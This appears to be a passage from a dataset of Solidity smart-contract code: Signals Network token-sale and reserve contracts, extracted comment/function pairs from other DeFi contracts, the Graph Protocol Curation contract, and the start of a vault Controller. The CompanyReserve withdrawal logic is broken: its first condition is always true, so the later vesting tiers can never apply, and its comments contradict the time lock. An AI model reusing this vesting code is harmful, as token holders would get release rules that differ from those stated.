amount); } /* * Clean up function * @dev call to clean up the contract after all tokens were assigned */ function clean() public onlyOwner { require(token.balanceOf(address(this)) == 0); selfdestruct(owner); } } /* * Company reserve pool where the tokens will be locked for two years * @title Company token reserve */ contract CompanyReserve is Ownable{ SignalsToken token; uint256 withdrawn; uint start; /* * Constructor changing owner to owner multisig & setting time lock * @param address of the Signals Token contract * @param address of the owner multisig */ function CompanyReserve(address _token, address _owner) public { token = SignalsToken(_token); owner = _owner; start = now; } event TokensWithdrawn(address owner, uint amount); /* * Only function for the tokens withdrawal (3% anytime, 5% after one year, 10% after two year) * @dev Will withdraw the whole allowance; */ function withdraw() onlyOwner public { require(now - start >= 25920000); uint256 toWithdraw = canWithdraw(); withdrawn += toWithdraw; token.transfer(owner, toWithdraw); TokensWithdrawn(owner, toWithdraw); } /* * Checker function to find out how many tokens can be withdrawn. * note: percentage of the token.totalSupply * @dev Based on division down rounding */ function canWithdraw() public view returns (uint256) { uint256 sinceStart = now - start; uint256 allowed; if (sinceStart >= 0) { allowed = 555000000000000; } else if (sinceStart >= 31536000) { // one year difference allowed = 1480000000000000; } else if (sinceStart >= 63072000) { // two years difference allowed = 3330000000000000; } else { return 0; } return allowed - withdrawn; } /* * Function to clean up the state and moved not allocated tokens to custody */ function cleanUp() onlyOwner public { require(token.balanceOf(address(this)) == 0); selfdestruct(owner); } } /** * @title Signals token * @dev Mintable token created for Signals.Network */ contract PresaleToken is PausableToken, MintableToken { // Standard token variables string constant public name = "SGNPresaleToken"; string constant public symbol = "SGN"; uint8 constant public decimals = 9; event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens); /* * Constructor which pauses the token at the time of creation */ function PresaleToken() public { pause(); } /* * @dev Token burn function to be called at the time of token swap * @param _partner address to use for token balance buring * @param _tokens uint256 amount of tokens to burn */ function burnTokens(address _partner, uint256 _tokens) public onlyOwner { require(balances[_partner] >= _tokens); balances[_partner] -= _tokens; totalSupply -= _tokens; TokensBurned(msg.sender, _partner, _tokens); } } /** * @title Signals token * @dev Mintable token created for Signals.Network */ contract SignalsToken is PausableToken, MintableToken { // Standard token variables string constant public name = "Signals Network Token"; string constant public symbol = "SGN"; uint8 constant public decimals = 9; } contract PrivateRegister is Ownable { struct contribution { bool approved; uint8 extra; } mapping (address => contribution) verified; event ApprovedInvestor(address indexed investor); event BonusesRegistered(address indexed investor, uint8 extra); /* * Approve function to adjust allowance to investment of each individual investor * @param _investor address sets the beneficiary for later use * @param _referral address to pay a commission in token to * @param _commission uint8 expressed as a number between 0 and 5 */ function approve(address _investor, uint8 _extra) onlyOwner public{ require(!isContract(_investor)); verified[_investor].approved = true; if (_extra <= 100) { verified[_investor].extra = _extra; BonusesRegistered(_investor, _extra); } ApprovedInvestor(_investor); } /* * Constant call to find out if an investor is registered * @param _investor address to be checked * @return bool is true is _investor was approved */ function approved(address _investor) view public returns (bool) { return verified[_investor].approved; } /* * Constant call to find out the referral and commission to bound to an investor * @param _investor address to be checked * @return address of the referral, returns 0x0 if there is none * @return uint8 commission to be paid out on any investment */ function getBonuses(address _investor) view public returns (uint8 extra) { return verified[_investor].extra; } /* * Check if address is a contract to prevent contracts from participating the direct sale. * @param addr address to be checked * @return boolean of it is or isn't an contract address * @credits Manuel Aráoz */ function isContract(address addr) public view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } contract CrowdsaleRegister is Ownable { struct contribution { bool approved; uint8 commission; uint8 extra; } mapping (address => contribution) verified; event ApprovedInvestor(address indexed investor); event BonusesRegistered(address indexed investor, uint8 commission, uint8 extra); /* * Approve function to adjust allowance to investment of each individual investor * @param _investor address sets the beneficiary for later use * @param _referral address to pay a commission in token to * @param _commission uint8 expressed as a number between 0 and 5 */ function approve(address _investor, uint8 _commission, uint8 _extra) onlyOwner public{ require(!isContract(_investor)); verified[_investor].approved = true; if (_commission <= 15 && _extra <= 5) { verified[_investor].commission = _commission; verified[_investor].extra = _extra; BonusesRegistered(_investor, _commission, _extra); } ApprovedInvestor(_investor); } /* * Constant call to find out if an investor is registered * @param _investor address to be checked * @return bool is true is _investor was approved */ function approved(address _investor) view public returns (bool) { return verified[_investor].approved; } /* * Constant call to find out the referral and commission to bound to an investor * @param _investor address to be checked * @return address of the referral, returns 0x0 if there is none * @return uint8 commission to be paid out on any investment */ function getBonuses(address _investor) view public returns (uint8 commission, uint8 extra) { return (verified[_investor].commission, verified[_investor].extra); } /* * Check if address is a contract to prevent contracts from participating the direct sale. * @param addr address to be checked * @return boolean of it is or isn't an contract address * @credits Manuel Aráoz */ function isContract(address addr) public view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } /* * Token pool for the presale tokens swap * @title PresalePool * @dev Requires to transfer ownership of both PresaleToken contracts to this contract */ contract PresalePool is Ownable { PresaleToken public PublicPresale; PresaleToken public PartnerPresale; SignalsToken token; CrowdsaleRegister registry; /* * Compensation coefficient based on the difference between the max ETHUSD price during the presale * and price fix for mainsale */ uint256 compensation1; uint256 compensation2; // Date after which all tokens left will be transfered to the company reserve uint256 deadLine; event SupporterResolved(address indexed supporter, uint256 burned, uint256 created); event PartnerResolved(address indexed partner, uint256 burned, uint256 created); /* * Constructor changing owner to owner multisig, setting all the contract addresses & compensation rates * @param address of the Signals Token contract * @param address of the KYC registry * @param address of the owner multisig * @param uint rate of the compensation for early investors * @param uint rate of the compensation for partners */ function PresalePool(address _token, address _registry, address _owner, uint comp1, uint comp2) public { owner = _owner; PublicPresale = PresaleToken(0x15fEcCA27add3D28C55ff5b01644ae46edF15821); PartnerPresale = PresaleToken(0xa70435D1a3AD4149B0C13371E537a22002Ae530d); token = SignalsToken(_token); registry = CrowdsaleRegister(_registry); compensation1 = comp1; compensation2 = comp2; deadLine = now + 30 days; } /* * Fallback function for simple contract usage, only calls the swap() * @dev left for simpler interaction */ function() public { swap(); } /* * Function swapping the presale tokens for the Signal tokens regardless on the presale pool * @dev requires having ownership of the two presale contracts * @dev requires the calling party to finish the KYC process fully */ function swap() public { require(registry.approved(msg.sender)); uint256 oldBalance; uint256 newBalance; if (PublicPresale.balanceOf(msg.sender) > 0) { oldBalance = PublicPresale.balanceOf(msg.sender); newBalance = oldBalance * compensation1 / 100; PublicPresale.burnTokens(msg.sender, oldBalance); token.transfer(msg.sender, newBalance); SupporterResolved(msg.sender, oldBalance, newBalance); } if (PartnerPresale.balanceOf(msg.sender) > 0) { oldBalance = PartnerPresale.balanceOf(msg.sender); newBalance = oldBalance * compensation2 / 100; PartnerPresale.burnTokens(msg.sender, oldBalance); token.transfer(msg.sender, newBalance); PartnerResolved(msg.sender, oldBalance, newBalance); } } /* * Function swapping the presale tokens for the Signal tokens regardless on the presale pool * @dev initiated from Signals (passing the ownership to a oracle to handle a script is recommended) * @dev requires having ownership of the two presale contracts * @dev requires the calling party to finish the KYC process fully */ function swapFor(address whom) onlyOwner public returns(bool) { require(registry.approved(whom)); uint256 oldBalance; uint256 newBalance; if (PublicPresale.balanceOf(whom) > 0) { oldBalance = PublicPresale.balanceOf(whom); newBalance = oldBalance * compensation1 / 100; PublicPresale.burnTokens(whom, oldBalance); token.transfer(whom, newBalance); SupporterResolved(whom, oldBalance, newBalance); } if (PartnerPresale.balanceOf(whom) > 0) { oldBalance = PartnerPresale.balanceOf(whom); newBalance = oldBalance * compensation2 / 100; PartnerPresale.burnTokens(whom, oldBalance); token.transfer(whom, newBalance); SupporterResolved(whom, oldBalance, newBalance); } return true; } /* * Function to clean up the state and moved not allocated tokens to custody */ function clean() onlyOwner public { require(now >= deadLine); uint256 notAllocated = token.balanceOf(address(this)); token.transfer(owner, notAllocated); selfdestruct(owner); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold SignalsToken public token; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; // start/end related uint256 public startTime; bool public hasEnded; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(address _token, address _wallet) public { require(_wallet != 0x0); token = SignalsToken(_token); wallet = _wallet; } // fallback function can be used to buy tokens function () public payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) private {} // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) {} } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasEnded); finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } contract SignalsCrowdsale is FinalizableCrowdsale { // Cap & price related values uint256 public constant HARD_CAP = 18000*(10**18); uint256 public toBeRaised = 18000*(10**18); uint256 public constant PRICE = 360000; uint256 public tokensSold; uint256 public constant maxTokens = 185000000*(10**9); // Allocation constants uint constant ADVISORY_SHARE = 18500000*(10**9); //FIXED uint constant BOUNTY_SHARE = 3700000*(10**9); // FIXED uint constant COMMUNITY_SHARE = 37000000*(10**9); //FIXED uint constant COMPANY_SHARE = 33300000*(10**9); //FIXED uint constant PRESALE_SHARE = 7856217611546440; // FIXED; // Address pointers address constant ADVISORS = 0x98280b2FD517a57a0B8B01b674457Eb7C6efa842; // TODO: change address constant BOUNTY = 0x8726D7ac344A0BaBFd16394504e1cb978c70479A; // TODO: change address constant COMMUNITY = 0x90CDbC88aB47c432Bd47185b9B0FDA1600c22102; // TODO: change address constant COMPANY = 0xC010b2f2364372205055a299B28ef934f090FE92; // TODO: change address constant PRESALE = 0x7F3a38fa282B16973feDD1E227210Ec020F2481e; // TODO: change CrowdsaleRegister register; PrivateRegister register2; // Start & End related vars bool public ready; // Events event SaleWillStart(uint256 time); event SaleReady(); event SaleEnds(uint256 tokensLeft); function SignalsCrowdsale(address _token, address _wallet, address _register, address _register2) public FinalizableCrowdsale() Crowdsale(_token, _wallet) { register = CrowdsaleRegister(_register); register2 = PrivateRegister(_register2); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool started = (startTime <= now); bool nonZeroPurchase = msg.value != 0; bool capNotReached = (weiRaised < HARD_CAP); bool approved = register.approved(msg.sender); bool approved2 = register2.approved(msg.sender); return ready && started && !hasEnded && nonZeroPurchase && capNotReached && (approved || approved2); } /* * Buy in function to be called from the fallback function * @param beneficiary address */ function buyTokens(address beneficiary) private { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // base discount uint256 discount = ((toBeRaised*10000)/HARD_CAP)*15; // calculate token amount to be created uint256 tokens; // update state weiRaised = weiRaised.add(weiAmount); toBeRaised = toBeRaised.sub(weiAmount); uint commission; uint extra; uint premium; if (register.approved(beneficiary)) { (commission, extra) = register.getBonuses(beneficiary); // If extra access granted then give additional % if (extra > 0) { discount += extra*10000; } tokens = howMany(msg.value, discount); // If referral was involved, give some percent to the source if (commission > 0) { premium = tokens.mul(commission).div(100); token.mint(BOUNTY, premium); } } else { extra = register2.getBonuses(beneficiary); if (extra > 0) { discount = extra*10000; tokens = howMany(msg.value, discount); } } token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); tokensSold += tokens + premium; forwardFunds(); assert(token.totalSupply() <= maxTokens); } /* * Helper token emission functions * @param value uint256 of the wei amount that gets invested * @return uint256 of how many tokens can one get */ function howMany(uint256 value, uint256 discount) public view returns (uint256){ uint256 actualPrice = PRICE * (1000000 - discount) / 1000000; return value / actualPrice; } /* * Function to do preallocations - MANDATORY to continue * @dev It's separated so it doesn't have to run in constructor */ function initialize() public onlyOwner { require(!ready); // Pre-allocation to pools token.mint(ADVISORS,ADVISORY_SHARE); token.mint(BOUNTY,BOUNTY_SHARE); token.mint(COMMUNITY,COMMUNITY_SHARE); token.mint(COMPANY,COMPANY_SHARE); token.mint(PRESALE,PRESALE_SHARE); tokensSold = PRESALE_SHARE; ready = true; SaleReady(); } /* * Function to do set or adjust the startTime - NOT MANDATORY but good for future start */ function changeStart(uint256 _time) public onlyOwner { startTime = _time; SaleWillStart(_time); } /* * Function end or pause the sale * @dev It's MANDATORY to finalize() */ function endSale(bool end) public onlyOwner { require(startTime <= now); uint256 tokensLeft = maxTokens - token.totalSupply(); if (tokensLeft > 0) { token.mint(wallet, tokensLeft); } hasEnded = end; SaleEnds(tokensLeft); } /* * Adjust finalization to transfer token ownership to the fund holding address for further use */ function finalization() internal { token.finishMinting(); token.transferOwnership(wallet); } /* * Clean up function to get the contract selfdestructed - OPTIONAL */ function cleanUp() public onlyOwner { require(isFinalized); selfdestruct(owner); } }
Only function for the tokens withdrawal (3% anytime, 5% after one year, 10% after two year) Will withdraw the whole allowance;/
function withdraw() onlyOwner public { require(now - start >= 25920000); uint256 toWithdraw = canWithdraw(); withdrawn += toWithdraw; token.transfer(owner, toWithdraw); TokensWithdrawn(owner, toWithdraw); }
14,091,126
./full_match/80001/0x8DD6f857bCF86316b6086cf858d9958ACc230d09/sources/lib/openzeppelin-contracts/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol
See {IERC165-supportsInterface}./
function supportsInterface( bytes4 interfaceId ) public view virtual override(AccessControlEnumerable, ERC1155) returns (bool) { return super.supportsInterface(interfaceId); }
5,705,045
./partial_match/1/0xBd5d9451E004fc495F105cEaB40d6c955E4192bA/sources/Orchestrator.sol
Main entry point to initiate a rebase operation. The Orchestrator calls rebase on the policy and notifies downstream applications. Contracts are guarded from calling, to avoid flash loan attacks on liquidity providers. If a transaction in the transaction list reverts, it is swallowed and the remaining transactions are executed./
function rebase() external { policy.rebase(); for (uint256 i = 0; i < transactions.length; i++) { Transaction storage t = transactions[i]; if (t.enabled) { bool result = externalCall(t.destination, t.data); if (!result) { emit TransactionFailed(t.destination, i, t.data); revert("Transaction Failed"); } } } }
2,659,257
./partial_match/42/0x94E64a52FE20AB1AcEA11EAF126314dfc5075319/sources/HYPEAdmin.sol
Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw_single(uint256 _pid) public { SinglePoolInfo storage pool = poolInfo_single[_pid]; UserInfo storage user = userInfo_single[_pid][msg.sender]; pool.sToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw_single(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; }
3,357,778
pragma solidity ^0.6.4; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../governance/Governed.sol"; import "../upgrades/GraphProxy.sol"; import "../upgrades/GraphUpgradeable.sol"; import "./CurationStorage.sol"; import "./ICuration.sol"; /** * @title Curation contract * @dev Allows curators to signal on subgraph deployments that might be relevant to indexers by * staking Graph Tokens (GRT). Additionally, curators earn fees from the Query Market related to the * subgraph deployment they curate. * A curators deposit goes to a curation pool along with the deposits of other curators, * only one such pool exists for each subgraph deployment. * The contract mints Graph Signal Tokens (GST) according to a bonding curve for each individual * curation pool where GRT is deposited. * Holders can burn GST tokens using this contract to get GRT tokens back according to the * bonding curve. */ contract Curation is CurationV1Storage, GraphUpgradeable, ICuration, Governed { using SafeMath for uint256; // 100% in parts per million uint32 private constant MAX_PPM = 1000000; // Amount of signal you get with your minimum token deposit uint256 private constant SIGNAL_PER_MINIMUM_DEPOSIT = 1e18; // 1 signal as 18 decimal number // -- Events -- /** * @dev Emitted when `curator` deposited `tokens` on `subgraphDeploymentID` as curation signal. * The `curator` receives `signal` amount according to the curation pool bonding curve. */ event Signalled( address indexed curator, bytes32 indexed subgraphDeploymentID, uint256 tokens, uint256 signal ); /** * @dev Emitted when `curator` burned `signal` for a `subgraphDeploymentID`. * The curator will receive `tokens` according to the value of the bonding curve. * An amount of `withdrawalFees` will be collected and burned. */ event Burned( address indexed curator, bytes32 indexed subgraphDeploymentID, uint256 tokens, uint256 signal, uint256 withdrawalFees ); /** * @dev Emitted when `tokens` amount were collected for `subgraphDeploymentID` as part of fees * distributed by an indexer from the settlement of query fees. */ event Collected(bytes32 indexed subgraphDeploymentID, uint256 tokens); /** * @dev Initialize this contract. */ function initialize( address _governor, address _token, uint32 _defaultReserveRatio, uint256 _minimumCurationDeposit ) external onlyImpl { Governed._initialize(_governor); BancorFormula._initialize(); token = IGraphToken(_token); defaultReserveRatio = _defaultReserveRatio; minimumCurationDeposit = _minimumCurationDeposit; } /** * @dev Accept to be an implementation of proxy and run initializer. * @param _proxy Graph proxy delegate caller * @param _token Address of the Graph Protocol token * @param _defaultReserveRatio Reserve ratio to initialize the bonding curve of CurationPool * @param _minimumCurationDeposit Minimum amount of tokens that curators can deposit */ function acceptProxy( GraphProxy _proxy, address _token, uint32 _defaultReserveRatio, uint256 _minimumCurationDeposit ) external { // Accept to be the implementation for this proxy _acceptUpgrade(_proxy); // Initialization Curation(address(_proxy)).initialize( _proxy.admin(), // default governor is proxy admin _token, _defaultReserveRatio, _minimumCurationDeposit ); } /** * @dev Set the staking contract used for fees distribution. * @notice Update the staking contract to `_staking` * @param _staking Address of the staking contract */ function setStaking(address _staking) external override onlyGovernor { staking = IStaking(_staking); emit ParameterUpdated("staking"); } /** * @dev Set the rewards manager contract. * @param _rewardsManager Address of the rewards manager contract */ function setRewardsManager(address _rewardsManager) external override onlyGovernor { rewardsManager = IRewardsManager(_rewardsManager); emit ParameterUpdated("rewardsManager"); } /** * @dev Set the default reserve ratio percentage for a curation pool. * @notice Update the default reserver ratio to `_defaultReserveRatio` * @param _defaultReserveRatio Reserve ratio (in PPM) */ function setDefaultReserveRatio(uint32 _defaultReserveRatio) external override onlyGovernor { // Reserve Ratio must be within 0% to 100% (exclusive, in PPM) require(_defaultReserveRatio > 0, "Default reserve ratio must be > 0"); require( _defaultReserveRatio <= MAX_PPM, "Default reserve ratio cannot be higher than MAX_PPM" ); defaultReserveRatio = _defaultReserveRatio; emit ParameterUpdated("defaultReserveRatio"); } /** * @dev Set the minimum deposit amount for curators. * @notice Update the minimum deposit amount to `_minimumCurationDeposit` * @param _minimumCurationDeposit Minimum amount of tokens required deposit */ function setMinimumCurationDeposit(uint256 _minimumCurationDeposit) external override onlyGovernor { require(_minimumCurationDeposit > 0, "Minimum curation deposit cannot be 0"); minimumCurationDeposit = _minimumCurationDeposit; emit ParameterUpdated("minimumCurationDeposit"); } /** * @dev Set the fee percentage to charge when a curator withdraws GRT tokens. * @param _percentage Percentage fee charged when withdrawing GRT tokens */ function setWithdrawalFeePercentage(uint32 _percentage) external override onlyGovernor { // Must be within 0% to 100% (inclusive) require( _percentage <= MAX_PPM, "Withdrawal fee percentage must be below or equal to MAX_PPM" ); withdrawalFeePercentage = _percentage; emit ParameterUpdated("withdrawalFeePercentage"); } /** * @dev Assign Graph Tokens collected as curation fees to the curation pool reserve. * @param _subgraphDeploymentID SubgraphDeployment where funds should be allocated as reserves * @param _tokens Amount of Graph Tokens to add to reserves */ function collect(bytes32 _subgraphDeploymentID, uint256 _tokens) external override { require(msg.sender == address(staking), "Caller must be the staking contract"); // Transfer tokens collected from the staking contract to this contract require( token.transferFrom(address(staking), address(this), _tokens), "Cannot transfer tokens to collect" ); // Collect tokens and assign them to the reserves _collect(_subgraphDeploymentID, _tokens); } /** * @dev Deposit Graph Tokens in exchange for signal of a SubgraphDeployment curation pool. * @param _subgraphDeploymentID Subgraph deployment pool from where to mint signal * @param _tokens Amount of Graph Tokens to deposit * @return Signal minted */ function mint(bytes32 _subgraphDeploymentID, uint256 _tokens) external override returns (uint256) { address curator = msg.sender; // Need to deposit some funds require(_tokens > 0, "Cannot deposit zero tokens"); // Transfer tokens from the curator to this contract require( token.transferFrom(curator, address(this), _tokens), "Cannot transfer tokens to deposit" ); // Deposit tokens to a curation pool reserve return _mint(curator, _subgraphDeploymentID, _tokens); } /** * @dev Return an amount of signal to get tokens back. * @notice Burn _signal from the SubgraphDeployment curation pool * @param _subgraphDeploymentID SubgraphDeployment the curator is returning signal * @param _signal Amount of signal to return * @return Tokens returned and withdrawal fees */ function burn(bytes32 _subgraphDeploymentID, uint256 _signal) external override returns (uint256, uint256) { address curator = msg.sender; require(_signal > 0, "Cannot burn zero signal"); require( getCuratorSignal(curator, _subgraphDeploymentID) >= _signal, "Cannot burn more signal than you own" ); // Trigger update rewards calculation _updateRewards(_subgraphDeploymentID); // Update balance and get the amount of tokens to refund based on returned signal (uint256 tokens, uint256 withdrawalFees) = _burnSignal( curator, _subgraphDeploymentID, _signal ); // If all signal burnt delete the curation pool if (getCurationPoolSignal(_subgraphDeploymentID) == 0) { delete pools[_subgraphDeploymentID]; } // Burn withdrawal fees if (withdrawalFees > 0) { token.burn(withdrawalFees); } // Return the tokens to the curator require(token.transfer(curator, tokens), "Error sending curator tokens"); emit Burned(curator, _subgraphDeploymentID, tokens, _signal, withdrawalFees); return (tokens, withdrawalFees); } /** * @dev Check if any GRT tokens are deposited for a SubgraphDeployment. * @param _subgraphDeploymentID SubgraphDeployment to check if curated * @return True if curated */ function isCurated(bytes32 _subgraphDeploymentID) public override view returns (bool) { return pools[_subgraphDeploymentID].tokens > 0; } /** * @dev Get the amount of signal a curator has in a curation pool. * @param _curator Curator owning the signal tokens * @param _subgraphDeploymentID Subgraph deployment curation pool * @return Amount of signal owned by a curator for the subgraph deployment */ function getCuratorSignal(address _curator, bytes32 _subgraphDeploymentID) public override view returns (uint256) { if (address(pools[_subgraphDeploymentID].gst) == address(0)) { return 0; } return pools[_subgraphDeploymentID].gst.balanceOf(_curator); } /** * @dev Get the amount of signal in a curation pool. * @param _subgraphDeploymentID Subgraph deployment curation poool * @return Amount of signal minted for the subgraph deployment */ function getCurationPoolSignal(bytes32 _subgraphDeploymentID) public override view returns (uint256) { if (address(pools[_subgraphDeploymentID].gst) == address(0)) { return 0; } return pools[_subgraphDeploymentID].gst.totalSupply(); } /** * @dev Get the amount of token reserves in a curation pool. * @param _subgraphDeploymentID Subgraph deployment curation poool * @return Amount of token reserves in the curation pool */ function getCurationPoolTokens(bytes32 _subgraphDeploymentID) public override view returns (uint256) { return pools[_subgraphDeploymentID].tokens; } /** * @dev Calculate amount of signal that can be bought with tokens in a curation pool. * @param _subgraphDeploymentID Subgraph deployment to mint signal * @param _tokens Amount of tokens used to mint signal * @return Amount of signal that can be bought */ function tokensToSignal(bytes32 _subgraphDeploymentID, uint256 _tokens) public override view returns (uint256) { // Get current tokens and signal CurationPool memory curationPool = pools[_subgraphDeploymentID]; uint256 newTokens = _tokens; uint256 curTokens = curationPool.tokens; uint256 curSignal = getCurationPoolSignal(_subgraphDeploymentID); uint32 reserveRatio = curationPool.reserveRatio; // Init curation pool if (curationPool.tokens == 0) { require( newTokens >= minimumCurationDeposit, "Tokens cannot be under minimum curation deposit when curve not initialized" ); newTokens = newTokens.sub(minimumCurationDeposit); curTokens = minimumCurationDeposit; curSignal = SIGNAL_PER_MINIMUM_DEPOSIT; reserveRatio = defaultReserveRatio; } // Calculate new signal uint256 newSignal = calculatePurchaseReturn(curSignal, curTokens, reserveRatio, newTokens); return newSignal.add(curSignal); } /** * @dev Calculate number of tokens to get when burning signal from a curation pool. * @param _subgraphDeploymentID Subgraph deployment to burn signal * @param _signal Amount of signal to burn * @return Amount of tokens to get after burning signal and withdrawal fees */ function signalToTokens(bytes32 _subgraphDeploymentID, uint256 _signal) public override view returns (uint256, uint256) { CurationPool memory curationPool = pools[_subgraphDeploymentID]; uint256 curationPoolSignal = getCurationPoolSignal(_subgraphDeploymentID); require( curationPool.tokens > 0, "Subgraph deployment must be curated to perform calculations" ); require( curationPoolSignal >= _signal, "Signal must be above or equal to signal issued in the curation pool" ); uint256 tokens = calculateSaleReturn( curationPoolSignal, curationPool.tokens, curationPool.reserveRatio, _signal ); uint256 withdrawalFees = tokens.mul(uint256(withdrawalFeePercentage)).div(MAX_PPM); return (tokens.sub(withdrawalFees), withdrawalFees); } /** * @dev Update balances after mint of signal and deposit of tokens. * @param _curator Curator address * @param _subgraphDeploymentID Subgraph deployment from where to mint signal * @param _tokens Amount of tokens to deposit * @return Amount of signal minted */ function _mintSignal( address _curator, bytes32 _subgraphDeploymentID, uint256 _tokens ) private returns (uint256) { uint256 signal = tokensToSignal(_subgraphDeploymentID, _tokens); // Update curation pool CurationPool storage curationPool = pools[_subgraphDeploymentID]; // Update GRT tokens held as reserves curationPool.tokens = curationPool.tokens.add(_tokens); // Mint signal to the curator curationPool.gst.mint(_curator, signal); // Update the global reserve totalTokens = totalTokens.add(_tokens); return signal; } /** * @dev Update balances after burn of signal and return of tokens. * @param _curator Curator address * @param _subgraphDeploymentID Subgraph deployment pool to burn signal * @param _signal Amount of signal to burn * @return Number of tokens received and withdrawal fees */ function _burnSignal( address _curator, bytes32 _subgraphDeploymentID, uint256 _signal ) private returns (uint256, uint256) { (uint256 tokens, uint256 withdrawalFees) = signalToTokens(_subgraphDeploymentID, _signal); uint256 outTokens = tokens.add(withdrawalFees); // Update curation pool CurationPool storage curationPool = pools[_subgraphDeploymentID]; // Update GRT tokens held as reserves curationPool.tokens = curationPool.tokens.sub(outTokens); // Burn signal from curator curationPool.gst.burnFrom(_curator, _signal); // Update the global reserve totalTokens = totalTokens.sub(outTokens); return (tokens, withdrawalFees); } /** * @dev Assign Graph Tokens received from staking to the curation pool reserve. * @param _subgraphDeploymentID Subgraph deployment where funds should be allocated as reserves * @param _tokens Amount of Graph Tokens to add to reserves */ function _collect(bytes32 _subgraphDeploymentID, uint256 _tokens) private { require( isCurated(_subgraphDeploymentID), "Subgraph deployment must be curated to collect fees" ); // Collect new funds into reserve CurationPool storage curationPool = pools[_subgraphDeploymentID]; curationPool.tokens = curationPool.tokens.add(_tokens); emit Collected(_subgraphDeploymentID, _tokens); } /** * @dev Deposit Graph Tokens in exchange for signal of a curation pool. * @param _curator Address of the staking party * @param _subgraphDeploymentID Subgraph deployment from where the curator is minting * @param _tokens Amount of Graph Tokens to deposit * @return Signal minted */ function _mint( address _curator, bytes32 _subgraphDeploymentID, uint256 _tokens ) private returns (uint256) { CurationPool storage curationPool = pools[_subgraphDeploymentID]; // If it hasn't been curated before then initialize the curve if (!isCurated(_subgraphDeploymentID)) { require( _tokens >= minimumCurationDeposit, "Curation deposit is below minimum required" ); // Initialize curationPool.reserveRatio = defaultReserveRatio; // If no signal token for the pool - create one if (address(curationPool.gst) == address(0)) { curationPool.gst = new GraphSignalToken("GST", address(this)); } } // Trigger update rewards calculation _updateRewards(_subgraphDeploymentID); // Exchange GRT tokens for GST of the subgraph pool uint256 signal = _mintSignal(_curator, _subgraphDeploymentID, _tokens); emit Signalled(_curator, _subgraphDeploymentID, _tokens, signal); return signal; } /** * @dev Triggers an update of rewards due to a change in signal. * @param _subgraphDeploymentID Subgrapy deployment updated */ function _updateRewards(bytes32 _subgraphDeploymentID) internal returns (uint256) { if (address(rewardsManager) != address(0)) { return rewardsManager.onSubgraphSignalUpdate(_subgraphDeploymentID); } return 0; } }
Set the default reserve ratio percentage for a curation pool. Update the default reserver ratio to `_defaultReserveRatio` _defaultReserveRatio Reserve ratio (in PPM)/ Reserve Ratio must be within 0% to 100% (exclusive, in PPM)
function setDefaultReserveRatio(uint32 _defaultReserveRatio) external override onlyGovernor { require(_defaultReserveRatio > 0, "Default reserve ratio must be > 0"); require( _defaultReserveRatio <= MAX_PPM, "Default reserve ratio cannot be higher than MAX_PPM" ); defaultReserveRatio = _defaultReserveRatio; emit ParameterUpdated("defaultReserveRatio"); }
12,735,981
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/IController.sol"; import "../interfaces/IConverter.sol"; import "../interfaces/IVault.sol"; import "../interfaces/IHarvester.sol"; import "../interfaces/IStrategy.sol"; import "../interfaces/IManager.sol"; /** * @title Controller * @notice This controller allows multiple strategies to be used * for a single vault supporting multiple tokens. */ contract Controller is IController { using SafeERC20 for IERC20; using SafeMath for uint256; IManager public immutable override manager; bool public globalInvestEnabled; uint256 public maxStrategies; struct VaultDetail { address converter; uint256 balance; address[] strategies; mapping(address => uint256) balances; mapping(address => uint256) index; mapping(address => uint256) caps; } // vault => Vault mapping(address => VaultDetail) internal _vaultDetails; // strategy => vault mapping(address => address) internal _vaultStrategies; /** * @notice Logged when harvest is called for a strategy */ event Harvest(address indexed strategy); /** * @notice Logged when a strategy is added for a vault */ event StrategyAdded(address indexed vault, address indexed strategy, uint256 cap); /** * @notice Logged when a strategy is removed for a vault */ event StrategyRemoved(address indexed vault, address indexed strategy); /** * @notice Logged when strategies are reordered for a vault */ event StrategiesReordered( address indexed vault, address indexed strategy1, address indexed strategy2 ); /** * @param _manager The address of the manager */ constructor( address _manager ) public { manager = IManager(_manager); globalInvestEnabled = true; maxStrategies = 10; } /** * STRATEGIST-ONLY FUNCTIONS */ /** * @notice Adds a strategy for a given vault * @param _vault The address of the vault * @param _strategy The address of the strategy * @param _cap The cap of the strategy * @param _timeout The timeout between harvests */ function addStrategy( address _vault, address _strategy, uint256 _cap, uint256 _timeout ) external notHalted onlyStrategist onlyStrategy(_strategy) { require(manager.allowedVaults(_vault), "!_vault"); require(_vaultDetails[_vault].converter != address(0), "!converter"); // checking if strategy is already added 